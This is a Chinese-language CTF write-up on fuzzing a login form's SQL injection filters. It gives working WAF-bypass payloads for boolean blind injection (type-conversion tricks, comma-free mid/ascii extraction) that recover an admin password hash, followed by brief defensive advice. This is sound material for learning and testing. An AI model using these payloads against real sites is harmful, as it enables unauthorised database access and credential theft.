SQL注入常规Fuzz全记录
字数 1306 2025-08-18 11:37:46
SQL注入Fuzz技术全解析
一、前言
本文详细解析SQL注入Fuzz技术的完整流程,基于CTF实战案例,涵盖从基础探测到高级绕过的全过程。适用于安全研究人员、渗透测试工程师及CTF选手。
二、基础探测
1. 目标识别
- 典型登录框场景
- 输入admin/123456返回"密码错误",确认admin用户存在
- 确定为SQL注入挑战,非暴力破解
2. 初步注入测试
- 使用Burp插件进行初步扫描
- 确认存在盲注漏洞
- 基本payload形式:
admin'[注入点]'
三、Fuzz技术详解
1. 注释符Fuzz
- 测试结果:
--+被过滤#被过滤
- 判断方法:响应包长度变化(370字节表示被拦截)
2. 特殊字符Fuzz
- 过滤字符清单:
- 空格
%0a(换行符)%0b(垂直制表符)%0d(回车符)%a0(非断空格)- 逗号(
,) - 内联注释(
/*!*/)
3. 关键字Fuzz
- 被过滤关键字:
andororderunionfor
- 影响:无法使用
mid(xx from xx for xx)语法
4. 函数名Fuzz
- 过滤规则:仅拦截包含
or/and等关键字的函数 - 可用函数:
sleep()mid()ascii()length()
- 关键限制:
information_schema因含or被过滤
四、绕过技术实战
1. 时间盲注尝试
- 原始payload:
if(1=1,sleep(5),0) - 绕过方案:
CASE WHEN (1=1) THEN (sleep(5)) ELSE (2) END - 空格替代方案:
- 使用括号代替空格
- 测试
%00到%ff所有字符替代空格均失败
- 结论:时间盲注不可行
2. 布尔盲注实现
- 利用MySQL类型转换特性:
select 'admin'='admin'+0 // 返回1 select 'admin'='admin'+1 // 返回0 - 实战payload:
admin'+1+'→ 返回false(用户名错误)admin'+0+'→ 返回true(密码错误)
3. 数据提取技术
- 绕过逗号限制:
- 使用
mid(xxx from 1)替代mid(xxx,1,1) - 使用
ascii(mid(xxx from 1))获取首字符ASCII
- 使用
- 替代方案:
ascii(mid(REVERSE(MID((passwd)from(-1)))from(-1)))
五、完整攻击流程
1. 密码长度探测
- Payload:
admin'-(length(passwd)=48)-' - 结果:确认密码长度为32位
2. 逐字符提取
- 首字符提取:
admin'-(ascii(mid(passwd)from(1))=48)-' - 逆向提取技术:
admin'-(ascii(mid(REVERSE(MID((passwd)from(-1)))from(-1)))=48)-' - 结果:获取32位MD5哈希
005b81fd960f61505237dbb7a3202910,解密得admin123
六、技术总结
1. Fuzz要点
- 字典来源:
- sqlmap字典
- MySQL官方手册
- Fuzz三要素:
- 判断标准(响应变化)
- 测试位置(注入点)
- Payload构造技巧
2. 高级技巧
- 类型转换利用
- 函数参数重构
- 逆向数据提取
- 无逗号表达式构造
3. 防御建议
- 过滤策略:
- 统一字符编码处理
- 上下文感知过滤
- 语义分析而非简单关键字过滤
- 加固措施:
- 预编译语句
- 最小权限原则
- 输入输出编码
七、扩展资源
- MySQL官方文档:类型转换规则
- sqlmap tamper脚本分析
- OWASP SQL注入防御指南
- 高级WAF绕过技术研究
通过本案例可掌握SQL注入Fuzz的核心方法论,适用于各类复杂过滤场景的渗透测试。